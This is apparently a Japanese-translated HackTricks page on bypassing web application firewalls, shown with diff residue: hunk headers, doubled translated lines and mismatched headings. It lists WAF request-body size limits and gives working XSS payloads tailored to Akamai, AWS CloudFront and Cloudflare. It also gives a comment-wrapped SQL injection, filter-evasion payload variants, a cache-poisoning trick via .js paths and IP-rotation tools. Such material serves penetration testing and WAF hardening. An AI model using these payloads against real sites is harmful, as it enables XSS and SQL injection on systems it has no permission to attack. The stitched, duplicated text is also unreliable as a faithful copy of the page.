<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load BalancerおよびAWS AppSync保護のために検査できるウェブリクエストボディの最大サイズ</td><td>8 KB</td></tr><tr><td>CloudFront、API Gateway、Amazon Cognito、App Runner、およびVerified Access保護のために検査できるウェブリクエストボディの最大サイズ**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load BalancerおよびAWS AppSync保護のために検査できるWebリクエストボディの最大サイズ</td><td>8 KB</td></tr><tr><td>CloudFront、API Gateway、Amazon Cognito、App Runner、およびVerified Access保護のために検査できるWebリクエストボディの最大サイズ**</td><td>64 KB</td></tr></tbody></table>
- [**Azureのドキュメントから**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
古いWebアプリケーションファイアウォールは、Core Rule Set 3.1（またはそれ以下）で、リクエストボディの検査をオフにすることで**128 KB**を超えるメッセージを許可しますが、これらのメッセージは脆弱性のチェックを受けません。新しいバージョン（Core Rule Set 3.2以降）では、最大リクエストボディ制限を無効にすることで同様のことができます。リクエストがサイズ制限を超えると：
Core Rule Set 3.1（またはそれ以下）の古いWebアプリケーションファイアウォールは、リクエストボディの検査をオフにすることで**128 KB**を超えるメッセージを許可しますが、これらのメッセージは脆弱性のチェックを受けません。新しいバージョン（Core Rule Set 3.2以降）では、最大リクエストボディ制限を無効にすることで同様のことができます。リクエストがサイズ制限を超えると：
**防止モード**の場合：リクエストをログに記録し、ブロックします。\
**検出モード**の場合：制限まで検査し、残りを無視し、`Content-Length`が制限を超えた場合はログに記録します。
- [**Akamaiから**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
デフォルトでは、WAFはリクエストの最初の8KBのみを検査します。高度なメタデータを追加することで、制限を128KBまで引き上げることができます。
デフォルトでは、WAFはリクエストの最初の8KBのみを検査します。高度なメタデータを追加することで、制限を128KBまで増やすことができます。
- [**Cloudflareから**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
最大128KB。
### 難読化 <a href="#obfuscation" id="obfuscation"></a>
### 静的アセットの検査ギャップ (.js GETs)
一部のCDN/WAFスタックは、静的アセット（例えば、`.js`で終わるパス）へのGETリクエストに対して弱いまたは無検査のコンテンツ検査を適用し、同時にレート制限やIP評判のようなグローバルルールを適用します。静的拡張子の自動キャッシュと組み合わせることで、悪意のあるバリアントを配信またはシードして、後続のHTMLレスポンスに影響を与えることができます。
実用的な使用例：
- コンテンツ検査を回避するために、GETリクエストで`.js`パスに不正なヘッダー（例：`User-Agent`）でペイロードを送信し、その後すぐにメインHTMLをリクエストしてキャッシュされたバリアントに影響を与える。
- 新しい/クリーンなIPを使用する；IPがフラグ付けされると、ルーティングの変更により技術が信頼できなくなる可能性があります。
- Burp Repeaterで「グループを並行して送信」（シングルパケットスタイル）を使用して、同じフロントエンドパスを通じて2つのリクエスト（`.js`その後HTML）を競争させる。
これはヘッダー反射キャッシュポイズニングとよく組み合わさります。参照：
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [公開BBPでの0クリックアカウント乗っ取りを発見し、管理者レベルの機能にアクセスするために活用した方法](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### 難読化 <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -133,7 +150,7 @@ AWS WAFをバイパスすることが可能だったのは、次の行がヘッ
```
### Unicode 互換性 <a href="#unicode-compatability" id="unicode-compatability"></a>
Unicode 正規化の実装によって（詳細は [こちら](https://jlajara.gitlab.io/Bypass_WAF_Unicode)）、Unicode 互換性を共有する文字は WAF をバイパスし、意図したペイロードとして実行できる場合があります。互換性のある文字は [こちら](https://www.compart.com/en/unicode) で見つけることができます。
Unicode 正規化の実装によって（詳細は [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)）、Unicode 互換性を共有する文字は WAF をバイパスし、意図したペイロードとして実行できる場合があります。互換性のある文字は [here](https://www.compart.com/en/unicode) で見つけることができます。
#### 例 <a href="#example" id="example"></a>
```bash
@ -145,7 +162,7 @@ Unicode 正規化の実装によって（詳細は [こちら](https://jlajara.g
[**このブログ記事**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)で述べられているように、ユーザー入力のコンテキストを維持できるWAFをバイパスするために、WAFの技術を悪用してユーザーの入力を実際に正規化することができます。
例えば、記事では**Akamaiがユーザー入力を10回デコードした**と述べられています。したがって、`<input/%2525252525252525253e/onfocus`のようなものは、Akamaiには`<input/>/onfocus`として見え、**タグが閉じているため問題ないと考えるかもしれません**。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は`<input/%25252525252525253e/onfocus`のようなものを見ることになり、**これはXSS攻撃に対して依然として有効です**。
例えば、記事では**Akamaiがユーザー入力を10回デコードした**と述べられています。したがって、`<input/%2525252525252525253e/onfocus`のようなものは、Akamaiによって`<input/>/onfocus`として認識され、**タグが閉じているため問題ないと考えられるかもしれません**。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は`<input/%25252525252525253e/onfocus`のようなものを見ることになり、**XSS攻撃にはまだ有効です**。
したがって、これは**WAFがデコードして解釈するエンコードされたコンポーネントにペイロードを隠すことを可能にします**が、被害者はそれを認識しません。
@ -158,11 +175,11 @@ Unicode 正規化の実装によって（詳細は [こちら](https://jlajara.g
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
また、**いくつかのWAFがユーザー入力のコンテキストをどのように理解するかによって**、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが`/*`と`*/`の間に何でも入れることを許可していることです（これは一般的にコメントとして使用されるため、潜在的に）。したがって、`/*'or sleep(5)-- -*/`のようなSQLインジェクションはキャッチされず、`/*`がインジェクションの開始文字列であり、`*/`がコメントされているため有効です。
また、**一部のWAFがユーザー入力のコンテキストをどのように理解するかによって**、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが`/*`と`*/`の間に何でも入れることを許可していることです（これは一般的にコメントとして使用されるため、潜在的に）。したがって、`/*'or sleep(5)-- -*/`のようなSQLインジェクションはキャッチされず、`/*`がインジェクションの開始文字列であり、`*/`がコメントされているため有効です。
このようなコンテキストの問題は、WAFによって悪用されることが期待される脆弱性以外の**他の脆弱性を悪用するためにも使用できます**（例えば、これを使用してXSSを悪用することも可能です）。
### H2Cスモグリング <a href="#ip-rotation" id="ip-rotation"></a>
### H2Cスムギング <a href="#ip-rotation" id="ip-rotation"></a>
{{#ref}}
h2c-smuggling.md
@ -170,7 +187,7 @@ h2c-smuggling.md
### IPローテーション <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffufと共に使用するためのAPIゲートウェイURLを生成
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffufと共に使用するためのAPIゲートウェイURLを生成します
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireproxに似ています
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): APIゲートウェイIPを使用するBurp Suiteプラグイン
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 入力ファイルサイズと分割係数に基づいて動的に決定された数のコンテナインスタンスがアクティブ化され、入力は並列実行のためにチャンクに分割されます。例えば、10,000行の入力ファイルから100行の分割係数で100インスタンスが100チャンクを処理します。
@ -178,7 +195,7 @@ h2c-smuggling.md
### 正規表現バイパス
ファイアウォールの正規表現フィルターをバイパスするために、さまざまな技術が使用できます。例としては、大文字と小文字の交互使用、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースは[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)や[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)で見つけることができます。以下の例は[この記事](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)から引用されています。
ファイアウォールの正規表現フィルターをバイパスするために、さまざまな技術が使用できます。例としては、大文字と小文字の交互、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースは[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)や[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)で見つけることができます。以下の例は[この記事](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)から引用されています。
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}